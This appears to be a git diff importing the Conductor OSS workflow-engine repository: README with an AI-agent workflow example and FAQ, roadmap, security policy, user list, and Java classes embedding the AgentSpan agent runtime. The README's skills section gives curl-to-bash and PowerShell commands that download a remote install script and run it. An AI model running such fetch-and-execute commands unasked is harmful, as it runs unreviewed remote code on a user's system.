calls. See the [Quickstart](https://docs.conductor-oss.org/quickstart/) for details. + + +--- + +# Why Conductor is the workflow engine of choice for developers + +| | | +|---|---| +| **Durable execution** | Every step is persisted. Survives crashes, restarts, and network failures with configurable retries and timeouts. | +| **Deterministic by design** | Orchestration is separated from business logic — determinism is architectural, not developer discipline. Workers run any code; the workflow graph stays deterministic by construction. | +| **AI agent orchestration** | 14+ native LLM providers, MCP tool calling, function calling, human-in-the-loop approval, and vector databases for RAG. | +| **Dynamic at runtime** | Dynamic forks, tasks, and sub-workflows resolved at runtime. LLMs generate JSON workflow definitions and Conductor executes them immediately. | +| **Full replayability** | Restart from the beginning, rerun from any task, or retry just the failed step — on any workflow, at any time. | +| **Internet scale** | Battle-tested at Netflix, Tesla, LinkedIn, and J.P. Morgan. Scales horizontally to billions of workflow executions. | +| **Polyglot workers** | Workers in Java, Python, Go, JavaScript, C#, Ruby, or Rust. Workers poll, execute, and report — run them anywhere. | +| **Self-hosted, no lock-in** | Apache 2.0. 5 persistence backends, 6 message brokers. Runs anywhere Docker or a JVM runs. | + +# Ship Agents, Not Framework Code + +Conductor workers are plain code — any language, any library, any I/O. No determinism constraints, no SDK ritual. The orchestration layer is declarative and machine-readable, so LLMs generate and compose workflows natively. If an agent crashes at iteration 12, it resumes from iteration 12. + +**An autonomous think-act agent in Conductor:** discover tools via MCP, reason with an LLM, call the chosen tool, repeat until done. + +```json +{ + "name": "autonomous_agent", + "description": "Agent that loops until the task is complete", + "version": 1, + "tasks": [ + { + "name": "discover_tools", + "taskReferenceName": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}" + } + }, + { + "name": "agent_loop", + "taskReferenceName": "loop", + "type": "DO_WHILE", + "loopCondition": "if ($.loop['think'].output.result.done == true) { false; } else { true; }", + "loopOver": [ + { + "name": "think", + "taskReferenceName": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are an autonomous agent. Available tools: ${discover.output.tools}. Previous results: ${loop.output.results}. Respond with JSON: {\"action\": \"tool_name\", \"arguments\": {}, \"done\": false} or {\"answer\": \"final answer\", \"done\": true}." + }, + { "role": "user", "message": "${workflow.input.task}" } + ] + } + }, + { + "name": "act", + "taskReferenceName": "act", + "type": "SWITCH", + "expression": "$.think.output.result.done ? 'done' : 'call_tool'", + "decisionCases": { + "call_tool": [ + { + "name": "execute_tool", + "taskReferenceName": "tool_call", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${think.output.result.action}", + "arguments": "${think.output.result.arguments}" + } + } + ] + } + } + ] + } + ] +} +``` + +Every step is durably persisted — no framework, no SDK lock-in. Code-first engines force your code to be deterministic so the framework can replay it. Conductor makes the engine deterministic — so your code doesn't have to be. + +See the [Build Your First AI Agent](https://docs.conductor-oss.org/devguide/ai/first-ai-agent.html) guide for the full walkthrough. + +--- + +## Conductor Skills for AI Coding Assistants + +**[Conductor Skills](https://github.com/conductor-oss/conductor-skills)** let AI coding assistants (Claude Code, Gemini CLI, and others) create, manage, and deploy Conductor workflows directly from your terminal. + +### Claude +```shell +# Install Skills for Claude Code +/plugin marketplace add conductor-oss/conductor-skills +/plugin install conductor@conductor-skills +``` + +### Install for all detected agents + +One command to auto-detect every supported agent on your system and install globally where possible. Re-run anytime — it only installs for newly detected agents. + +**macOS / Linux** +```bash +curl -sSL https://conductor-oss.github.io/conductor-skills/install.sh | bash -s -- --all +``` + +**Windows (PowerShell) / (cmd)** +```powershell +# powershell +irm https://conductor-oss.github.io/conductor-skills/install.ps1 -OutFile install.ps1; .\install.ps1 -All + +# cmd +powershell -c "irm https://conductor-oss.github.io/conductor-skills/install.ps1 -OutFile install.ps1; .\install.ps1 -All" +``` + +--- + +# SDKs + +| Language | Repository | Install | +|----------|------------|---------| +| ☕ Java | [conductor-oss/java-sdk](https://github.com/conductor-oss/java-sdk) | [Maven Central](https://mvnrepository.com/artifact/org.conductoross/conductor-client) | +| 🐍 Python | [conductor-oss/python-sdk](https://github.com/conductor-oss/python-sdk) | `pip install conductor-python` | +| 🟨 JavaScript | [conductor-oss/javascript-sdk](https://github.com/conductor-oss/javascript-sdk) | `npm install @io-orkes/conductor-javascript` | +| 🐹 Go | [conductor-oss/go-sdk](https://github.com/conductor-oss/go-sdk) | `go get github.com/conductor-sdk/conductor-go` | +| 🟣 C# | [conductor-oss/csharp-sdk](https://github.com/conductor-oss/csharp-sdk) | `dotnet add package conductor-csharp` | +| 💎 Ruby | [conductor-oss/ruby-sdk](https://github.com/conductor-oss/ruby-sdk) | *(incubating)* | +| 🦀 Rust | [conductor-oss/rust-sdk](https://github.com/conductor-oss/rust-sdk) | *(incubating)* | + +--- + +# Documentation & Community + +- **[Documentation](https://conductor-oss.org)** — Architecture, guides, API reference, and cookbook recipes. +- **[Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA)** — Community discussions and support. +- **[Community Forum](https://community.orkes.io/)** — Ask questions and share patterns. + +--- + +
+Backend Configuration + +| Backend | Configuration | +|---------|---------------| +| Redis + ES7 (default) | [config-redis.properties](docker/server/config/config-redis.properties) | +| Redis + ES8 | [config-redis-es8.properties](docker/server/config/config-redis-es8.properties) | +| Redis + OpenSearch | [config-redis-os.properties](docker/server/config/config-redis-os.properties) | +| Postgres | [config-postgres.properties](docker/server/config/config-postgres.properties) | +| Postgres + ES7 | [config-postgres-es7.properties](docker/server/config/config-postgres-es7.properties) | +| MySQL + ES7 | [config-mysql.properties](docker/server/config/config-mysql.properties) | + +
+ +--- + +# Build From Source + +
+Requirements and instructions + +**Requirements:** Docker Desktop, Java (JDK) 21+, Node.js 18+ and pnpm (for UI) + +```shell +git clone https://github.com/conductor-oss/conductor +cd conductor +./gradlew build + +# (optional) Build UI (ui-next) and embed it in the server +# ./build_ui_next.sh + +# Start local server +cd server +../gradlew bootRun +``` + +**Run the UI in dev mode (hot-reload at http://localhost:1234):** + +Requires a running Conductor server on `http://localhost:8080`. Enable `corepack` once if you haven't already: + +```shell +corepack enable +``` + +Then start the dev server: + +```shell +cd ui-next +pnpm install +pnpm dev +``` + +Open [http://localhost:1234](http://localhost:1234) — the UI reloads automatically on file changes. + +See the [full build guide](docs/devguide/running/source.md) for details. +
+ +--- + +# FAQ + +
+Is this the same as Netflix Conductor? + +Yes. Conductor OSS is the continuation of the original [Netflix Conductor](https://github.com/Netflix/conductor) repository after Netflix contributed the project to the open-source foundation. +
+ +
+Is Conductor open source? + +Yes. Conductor is a fully open-source workflow engine licensed under Apache 2.0. You can self-host on your own infrastructure with 5 persistence backends and 6 message brokers. +
+ +
+Is this project actively maintained? + +Yes. [Orkes](https://orkes.io) is the primary maintainer and offers an enterprise SaaS platform for Conductor across all major cloud providers. +
+ +
+Can Conductor scale to handle my workload? + +Yes. Built at Netflix, battle-tested at internet scale. Conductor scales horizontally across multiple server instances to handle billions of workflow executions. +
+ +
+Does Conductor support durable execution? + +Yes. Conductor pioneered durable execution patterns, ensuring workflows and durable agents complete reliably despite infrastructure failures or crashes. Every step is persisted and recoverable. +
+ +
+Can I replay a workflow after it completes or fails? + +Yes. Conductor preserves full execution history indefinitely. You can restart from the beginning, rerun from a specific task, or retry just the failed step — via API or UI. +
+ +
+Can Conductor orchestrate AI agents and LLMs? + +Yes. Conductor provides native integration with 14+ LLM providers (Anthropic, OpenAI, Gemini, Bedrock, and more), MCP tool calling, function calling, human-in-the-loop approval, and vector database integration for RAG. +
+ +
+Why does Conductor separate orchestration from code? + +Coupling orchestration logic with business logic forces developers to maintain determinism constraints manually — no direct I/O, no system time, no randomness in workflow definitions. Conductor eliminates this entire class of bugs by making the orchestration layer deterministic by construction. Workers are plain code with zero framework constraints — write them in any language, use any library, call any API. +
+ +
+Isn't writing workflows as code more powerful than JSON? + +It depends on what you mean by "powerful." In code-first engines, the workflow definition and your business logic live in the same runtime — which means the engine must replay your code to recover state. That forces determinism constraints on your business logic: no direct I/O, no system time, no threads, no randomness. Conductor separates these concerns. The orchestration graph is declarative (JSON), so it's deterministic by construction. Your workers are plain code with zero constraints — use any language, any library, call any API. You get the full power of code where it matters (business logic) without the framework tax where it doesn't (orchestration). +
+ +
+Can JSON workflows handle complex logic like branching, loops, and error handling? + +Yes. Conductor supports `SWITCH` (conditional branching), `DO_WHILE` (loops with configurable iteration cleanup), `FORK_JOIN` (parallel execution with dynamic fanout), `SUB_WORKFLOW` (composition), and `DYNAMIC` tasks resolved at runtime. These are composable — you can nest loops inside branches inside forks. For error handling, every task supports configurable retries, timeouts, and optional/compensating tasks. The declarative model doesn't limit complexity — it makes complexity visible and debuggable. +
+ +
+How does Conductor handle workflow versioning? + +Workflow definitions are versioned by number. Running executions continue on the version they started with — deploying a new version never breaks in-flight workflows. There's no replay compatibility problem because Conductor doesn't replay your code. The orchestration graph is the source of truth, and each execution is pinned to its definition version. Update orchestration logic without redeploying workers and without worrying about breaking running workflows. +
+ +
+What about developer experience — IDE support, type checking, debugging? + +Conductor provides a built-in visual UI for designing, running, and debugging workflows. Every execution is fully observable: you can inspect the input, output, timing, and retry history of every task. For type safety, Conductor validates workflow inputs and task I/O against JSON Schema. Workers are plain code in your language of choice — you get full IDE support, type checking, and debugging for your business logic. The orchestration layer is visible in the UI, not hidden inside a framework. +
+ +
+Can Conductor handle long-running workflows (days, weeks, months)? + +Yes. Conductor is designed for long-running workflows. Executions are fully persisted — a workflow can pause for months waiting for a human approval, an external signal, or a scheduled timer, and resume exactly where it left off. There's no in-memory state to lose. This is the same mechanism that makes AI agent loops durable: if iteration 12 waits for a human review for three weeks, iteration 13 picks up right where it left off. +
+ +
+Don't I lose flexibility by not having orchestration in code? + +You gain flexibility. Because workflows are JSON, LLMs can generate and modify them at runtime — no compile/deploy cycle. Dynamic forks let you fan out to a variable number of parallel tasks determined at runtime. Dynamic sub-workflows let one workflow compose others by name. And because workers are decoupled from orchestration, you can update the workflow graph or swap worker implementations independently. Code-first engines couple these together, so changing orchestration means redeploying and re-versioning your code. +
+ +
+How does Conductor compare to other workflow engines? + +Conductor is an open-source workflow engine with native LLM task types for 14+ providers, built-in MCP integration, durable execution, full replayability, and 7 language SDKs. Unlike code-first engines, Conductor separates orchestration from business logic — determinism is an architectural guarantee, not a developer constraint. Your workers are plain code with zero framework rules. The orchestration layer is declarative, so it's observable, versionable, and composable by LLMs. Battle-tested at Netflix, Tesla, LinkedIn, and J.P. Morgan. +
+ +
+Is Orkes Conductor compatible with Conductor OSS? + +100% compatible. Orkes Conductor is built on top of Conductor OSS with full API and workflow compatibility. +
+ +--- + +# Contributing + +We welcome contributions from everyone! + +- **Report Issues:** Open an [issue on GitHub](https://github.com/conductor-oss/conductor/issues). +- **Contribute code:** Check out our [Contribution Guide](CONTRIBUTING.md) and [good first issues](https://github.com/conductor-oss/conductor/labels/good%20first%20issue). +- **Improve docs:** Help keep our [documentation](https://github.com/conductor-oss/conductor/tree/main/docs) great. + +## Contributors + + + + + +--- + +# Roadmap + +[See the Conductor OSS Roadmap](ROADMAP.md). Want to participate? [Reach out](https://forms.gle/P2i1xHrxPQLrjzTB7). + +# License + +Conductor is licensed under the [Apache 2.0 License](LICENSE). diff --git a/README.wehub.md b/README.wehub.md new file mode 100644 index 0000000..7126b3b --- /dev/null +++ b/README.wehub.md @@ -0,0 +1,7 @@ +# WeHub 来源说明 + +- 原始项目：`conductor-oss/conductor` +- 原始仓库：https://github.com/conductor-oss/conductor +- 导入方式：上游默认分支的最新快照 +- 原作者、版权和许可证信息以原始仓库及本仓库 LICENSE 为准 +- 本文件仅用于记录来源，不代表 WeHub 是原项目作者 diff --git a/RELATED.md b/RELATED.md new file mode 100644 index 0000000..abd0cf1 --- /dev/null +++ b/RELATED.md @@ -0,0 +1 @@ +[Related Projects](docs/resources/related.md) diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..74a6b98 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,61 @@ +# Conductor OSS Roadmap + + + +> **Status key:** `Done` = shipped and available, `Partial` = partially implemented, `Planned` = not yet started. + +## System Tasks and Operators + +| Status | Item | Details | +|--------|------|---------| +| Done | LLM text completion | `LLM_TEXT_COMPLETE` system task in `ai/` module | +| Done | LLM chat completion with memory | `LLM_CHAT_COMPLETE` system task in `ai/` module | +| Done | LLM embedding generation | `LLM_GENERATE_EMBEDDINGS` system task in `ai/` module | +| Done | Improved While loop (DO_WHILE) | `keepLastN` iteration cleanup, `items` list iteration, `loopIndex`/`loopItem` injection | +| Done | Python scripting for INLINE task | `PythonEvaluator` via GraalVM polyglot alongside JavaScript | +| Done | Database task | System task for relational and NoSQL database operations | +| Planned | HTTP task polling | Polling/retry support for the HTTP system task | +| Planned | For..Each operator | Parallel and sequential iteration operator | +| Planned | Try..Catch operator | Task-level error handling without failing the workflow | + +## APIs + +| Status | Item | Details | +|--------|------|---------| +| Done | Synchronous workflow execution | `POST /api/workflow/execute/{name}/{version}` with configurable wait time and `waitUntilTaskRef` | +| Done | Update tasks synchronously | `POST /tasks/{workflowId}/{taskRefName}/{status}/sync` returns updated workflow | +| Planned | Update workflow variables | API to update workflow variables during execution | + +## Type Safety + +| Status | Item | Details | +|------------|------|---------| +| Done | JSON Schema validation | `JsonSchemaValidator` validates workflow input and task I/O against JSON schemas | +| Planned | Protobuf support | Type-safe workflows and workers via protobuf definitions | +| Incubating | Code generation for workers | Scaffold worker code from schema definitions using the CLI | + +## CLI + +| Status | Item | Details | +|--------|------|---------| +| Done | Conductor CLI | Go-based CLI in `conductor-cli/` repo. Manages metadata, workflow executions, and server lifecycle | + + +## Testing and Debugging + +| Status | Item | Details | +|--------|------|---------| +| Planned | Workflow debugger | Full debugger experience: breakpoints, step-through, variable inspection, rewind to previous task, attach to running execution, remote task debugging via SDKs | + +## Maintenance + +| Status | Item | Details | +|--------|------|---------| +| Done | Deprecate Elasticsearch 6 | ES6 module replaced with deprecation stub | +| Done | Elasticsearch 7 and 8 support | `es7-persistence` and `es8-persistence` modules (ES8 uses Java API client) | +| Done | JOIN task performance | `FORK_JOIN` synchronous join mode (`joinMode=SYNC`) reduces polling overhead | diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..17ed38f --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,15 @@ +# Security Policy +- [Reporting a vulnerability](#reporting-a-vulnerability) +- [Supported Conductor versions](#supported-versions) + +## Reporting a vulnerability + +Please report security issues for Conductor using https://github.com/conductor-oss/conductor/security/advisories/new + +## Supported Versions + +| Version | Supported | +| ------- | ------------------ | +| 3.x.x | :white_check_mark: | +| 2.x.x | :x: | +| 1.x.x | :x: | diff --git a/USERS.md b/USERS.md new file mode 100644 index 0000000..3fe8ab6 --- /dev/null +++ b/USERS.md @@ -0,0 +1,18 @@ + +## Who uses Conductor? + +We would like to keep track of whose using Conductor. Please send a pull request with your company name and Github handle. + +* [Netflix](https://www.netflix.com/) [[@aravindanr](https://github.com/aravindanr)] +* [Florida Blue](http://bcbsfl.com/) [[@rickfish](https://github.com/rickfish)] +* [UWM](https://www.uwm.com/) [[@zergrushjoe](https://github.com/ZergRushJoe)] +* [Deutsche Telekom Digital Labs](https://dtdl.in) [[@jas34](https://github.com/jas34)] [[@deoramanas](https://github.com/deoramanas)] +* [VMware](https://www.vmware.com/) [[@taojwmware](https://github.com/taojwmware)] [[@venkag](https://github.com/venkag)] +* [JP Morgan Chase](https://www.chase.com/) [[@maheshyaddanapudi](https://github.com/maheshyaddanapudi)] +* [Orkes](https://orkes.io/) [[@CherishSantoshi](https://github.com/CherishSantoshi)] +* [313X](https://313x.com.br) [[@dalmoveras](https://github.com/dalmoveras)] +* [Supercharge](https://supercharge.io) [[@team-supercharge](https://github.com/team-supercharge)] +* [GE Healthcare](https://www.gehealthcare.com/) [[@flavioschuindt](https://github.com/flavioschuindt)] +* [ReliaQuest](https://www.reliaquest.com/) [[@rq-dbrady](https://github.com/rq-dbrady)] [[@alexmay48](https://github.com/alexmay48)] +* [Clari](https://www.clari.com/) [[@TeamJOF](https://github.com/clari)] +* [Atlassian](https://www.atlassian.com/) [[@LuisLainez](https://github.com/LuisLainez)] [[@aradu](https://github.com/aradu-atlassian)] diff --git a/agentspan-server/build.gradle b/agentspan-server/build.gradle new file mode 100644 index 0000000..e24ffaf --- /dev/null +++ b/agentspan-server/build.gradle @@ -0,0 +1,16 @@ +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + // Needed to compile A2A push-notification callback controller and AgentSpan activation glue; + // supplied by the server at runtime. + compileOnly 'org.springframework.boot:spring-boot-starter-web' + compileOnly 'org.springframework.boot:spring-boot-autoconfigure' + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-ai') + + // 0.4.2+ supports classifier-based agent filtering (pairs with WorkflowClassifier in + // conductor-common and the classifier search field in the index backends). + implementation "org.conductoross:conductor-agentspan:0.4.2" + +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanEmbeddedEnvironmentPostProcessor.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanEmbeddedEnvironmentPostProcessor.java new file mode 100644 index 0000000..357b5a0 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanEmbeddedEnvironmentPostProcessor.java @@ -0,0 +1,56 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.util.Collections; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.env.EnvironmentPostProcessor; +import org.springframework.core.env.ConfigurableEnvironment; +import org.springframework.core.env.MapPropertySource; + +/** + * Embeds the {@code conductor-agentspan} library in embedded mode whenever {@code + * conductor.integrations.ai.enabled=true}, by setting {@code agentspan.embedded=true} early (before + * condition evaluation). + * + *

This activates the library's {@code AgentSpanAutoConfiguration} (which registers the agent + * runtime, services, REST controllers and the agent-aware {@code LLM_CHAT_COMPLETE} mapper) while + * disabling its {@code HTTP}/{@code HUMAN}/{@code JOIN} task-bean overrides — those library + * configs are gated on {@code agentspan.embedded=false}. Conductor's native system tasks therefore + * remain the registered beans and are extended in place via the {@code __agentspan_ctx__} task + * input (see {@code Join}/{@code Human}), mirroring how orkes-conductor embeds AgentSpan. This + * avoids replacing core task beans (which would break {@code @Autowired} of the core task types and + * require {@code spring.main.allow-bean-definition-overriding}). + * + *

Honors an explicit {@code agentspan.embedded} setting if one is already present. + */ +public class AgentSpanEmbeddedEnvironmentPostProcessor implements EnvironmentPostProcessor { + + private static final String AI_ENABLED = "conductor.integrations.ai.enabled"; + private static final String EMBEDDED = "agentspan.embedded"; + + @Override + public void postProcessEnvironment( + ConfigurableEnvironment environment, SpringApplication application) { + boolean aiEnabled = environment.getProperty(AI_ENABLED, Boolean.class, false); + if (aiEnabled && !environment.containsProperty(EMBEDDED)) { + environment + .getPropertySources() + .addFirst( + new MapPropertySource( + "agentspanEmbedded", + Collections.singletonMap(EMBEDDED, "true"))); + } + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanPrincipalFilter.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanPrincipalFilter.java new file mode 100644 index 0000000..9b64af0 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanPrincipalFilter.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.io.IOException; +import java.time.Instant; +import java.util.UUID; + +import org.springframework.web.filter.OncePerRequestFilter; + +import dev.agentspan.runtime.context.RequestContext; +import dev.agentspan.runtime.context.RequestContextHolder; +import jakarta.servlet.FilterChain; +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +/** + * Populates AgentSpan's {@link RequestContextHolder} with a default principal id for the duration + * of each request, so the AgentSpan controllers and services (which call {@link + * RequestContextHolder#getRequiredUserId()}) work on an OSS server that has no per-user + * authentication. + * + *

If a context is already present on the thread (e.g. a host security adapter set the real + * principal), this filter leaves it untouched. Otherwise it sets the configured default id and + * clears it in a finally block to avoid leaking across pooled threads. + */ +public class AgentSpanPrincipalFilter extends OncePerRequestFilter { + + private final String defaultUserId; + + public AgentSpanPrincipalFilter(String defaultUserId) { + this.defaultUserId = defaultUserId; + } + + @Override + protected void doFilterInternal( + HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) + throws ServletException, IOException { + boolean contextSetHere = false; + if (RequestContextHolder.get().isEmpty()) { + RequestContextHolder.set( + RequestContext.builder() + .requestId(UUID.randomUUID().toString()) + .userId(defaultUserId) + .createdAt(Instant.now()) + .build()); + contextSetHere = true; + } + try { + filterChain.doFilter(request, response); + } finally { + if (contextSetHere) { + RequestContextHolder.clear(); + } + } + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/ConductorAgentSpanConfiguration.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/ConductorAgentSpanConfiguration.java new file mode 100644 index 0000000..6719f38 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/ConductorAgentSpanConfiguration.java @@ -0,0 +1,142 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.util.Arrays; +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.dao.SkillPackageDAO; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.Ordered; + +import com.fasterxml.jackson.databind.ObjectMapper; +import dev.agentspan.runtime.spi.CredentialStoreProvider; +import dev.agentspan.runtime.spi.SecretOutputMasker; + +/** + * Supplies the host SPI beans the embedded {@code conductor-agentspan} library requires, when + * {@code conductor.integrations.ai.enabled=true}. + * + *

AgentSpan itself is activated in embedded mode by {@link + * AgentSpanEmbeddedEnvironmentPostProcessor} (which sets {@code agentspan.embedded=true}), so the + * library's own auto-configuration component-scans and registers the agent runtime, services, REST + * controllers and the agent-aware {@code LLM_CHAT_COMPLETE} mapper. Crucially, in embedded mode the + * library does not override Conductor's {@code HTTP}/{@code HUMAN}/{@code JOIN} system-task + * beans; those native tasks are extended in place via the {@code __agentspan_ctx__} task input. + * This class therefore only contributes the host-provided SPI implementations: + * + *

    + *
  • {@link CredentialStoreProvider} — environment-seeded, read-only ({@link + * EnvBackedCredentialStore}). + *
  • {@link SecretOutputMasker} — no-op (OSS parity). + *
  • {@code credentialMasterKey} — HMAC signing key for worker execution tokens. + *
  • Skill metadata/package SPI adapters onto Conductor's per-backend DAOs. + *
  • A request-principal filter populating AgentSpan's {@code RequestContextHolder}. + *
+ */ +@Configuration(proxyBeanMethods = false) +@Conditional(AIIntegrationEnabledCondition.class) +public class ConductorAgentSpanConfiguration { + + private static final Logger log = + LoggerFactory.getLogger(ConductorAgentSpanConfiguration.class); + + private static final int MASTER_KEY_BYTES = 32; + + /** OSS parity: no per-execution disclosure tracking, so nothing to redact. */ + @Bean + public SecretOutputMasker agentSpanSecretOutputMasker() { + return (executionId, userId, payload) -> payload; + } + + /** + * HMAC signing key for AgentSpan worker execution tokens. Sourced from {@code + * AGENTSPAN_MASTER_KEY} (base64 or raw), else a random key generated at boot — tokens are + * short-lived and per-run, so a fresh key on restart is acceptable. + */ + @Bean("credentialMasterKey") + public byte[] agentSpanCredentialMasterKey( + @Value("${AGENTSPAN_MASTER_KEY:}") String configured) { + if (configured != null && !configured.isBlank()) { + try { + return Base64.getDecoder().decode(configured.trim()); + } catch (IllegalArgumentException notBase64) { + return configured.getBytes(StandardCharsets.UTF_8); + } + } + byte[] key = new byte[MASTER_KEY_BYTES]; + new SecureRandom().nextBytes(key); + log.info( + "AGENTSPAN_MASTER_KEY not set — generated an ephemeral worker-token signing key for this run"); + return key; + } + + /** + * Read-only, environment-seeded credential store. Secrets must be supplied as environment + * variables and injected at runtime; the API cannot write them (see {@link + * EnvBackedCredentialStore}). + */ + @Bean + public CredentialStoreProvider agentSpanCredentialStoreProvider( + @Value("${conductor.integrations.ai.secrets.env-names:}") String extraNamesCsv) { + List extraNames = + Arrays.stream(extraNamesCsv.split(",")) + .map(String::trim) + .filter(s -> !s.isBlank()) + .toList(); + return new EnvBackedCredentialStore(extraNames, System::getenv); + } + + /** + * Bridges AgentSpan's skill-metadata SPI to Conductor's per-backend {@code SkillMetadataDAO}. + */ + @Bean + public dev.agentspan.runtime.spi.SkillMetadataDAO agentSpanSkillMetadataDAO( + org.conductoross.conductor.dao.SkillMetadataDAO skillMetadataDAO, + ObjectMapper objectMapper) { + return new SkillMetadataDaoAdapter(skillMetadataDAO, objectMapper); + } + + /** Bridges AgentSpan's skill-package SPI to Conductor's per-backend {@code SkillPackageDAO}. */ + @Bean + public dev.agentspan.runtime.spi.SkillPackageStore agentSpanSkillPackageStore( + SkillPackageDAO skillPackageDAO) { + return new SkillPackageStoreAdapter(skillPackageDAO); + } + + /** + * Populates AgentSpan's request principal for {@code /api/*}. Runs late so a host security + * adapter (if any) can set the real principal first. + */ + @Bean + public FilterRegistrationBean agentSpanPrincipalFilter( + @Value("${conductor.integrations.ai.agentspan.default-user-id:agentspan-system}") + String defaultUserId) { + FilterRegistrationBean registration = + new FilterRegistrationBean<>(new AgentSpanPrincipalFilter(defaultUserId)); + registration.addUrlPatterns("/api/*"); + registration.setOrder(Ordered.LOWEST_PRECEDENCE); + registration.setName("agentSpanPrincipalFilter"); + return registration; + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStore.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStore.java new file mode 100644 index 0000000..9435812 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStore.java @@ -0,0 +1,114 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.function.UnaryOperator; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import dev.agentspan.runtime.credentials.KnownProviderEnvVars; +import dev.agentspan.runtime.model.credentials.CredentialMeta; +import dev.agentspan.runtime.spi.CredentialStoreProvider; + +/** + * Read-only, environment-seeded {@link CredentialStoreProvider} for OSS Conductor. + * + *

On construction it scans the process environment for the well-known provider variables ({@link + * KnownProviderEnvVars#NAMES}) plus any additional names configured via {@code + * conductor.integrations.ai.secrets.env-names}, and populates an in-memory map. Agents resolve + * credentials from this map at runtime. + * + *

Secrets are intentionally not writable through the API: {@link #set} throws, with a + * message directing operators to inject secrets as environment variables (e.g. via Kubernetes + * secrets) and restart. The AgentSpan {@code AgentExceptionHandler} renders that {@link + * IllegalStateException} as an HTTP 400. {@link #get}, {@link #list} and {@link #delete} operate on + * the in-memory map; deletions are not persisted and are re-seeded from the environment on the next + * restart. + * + *

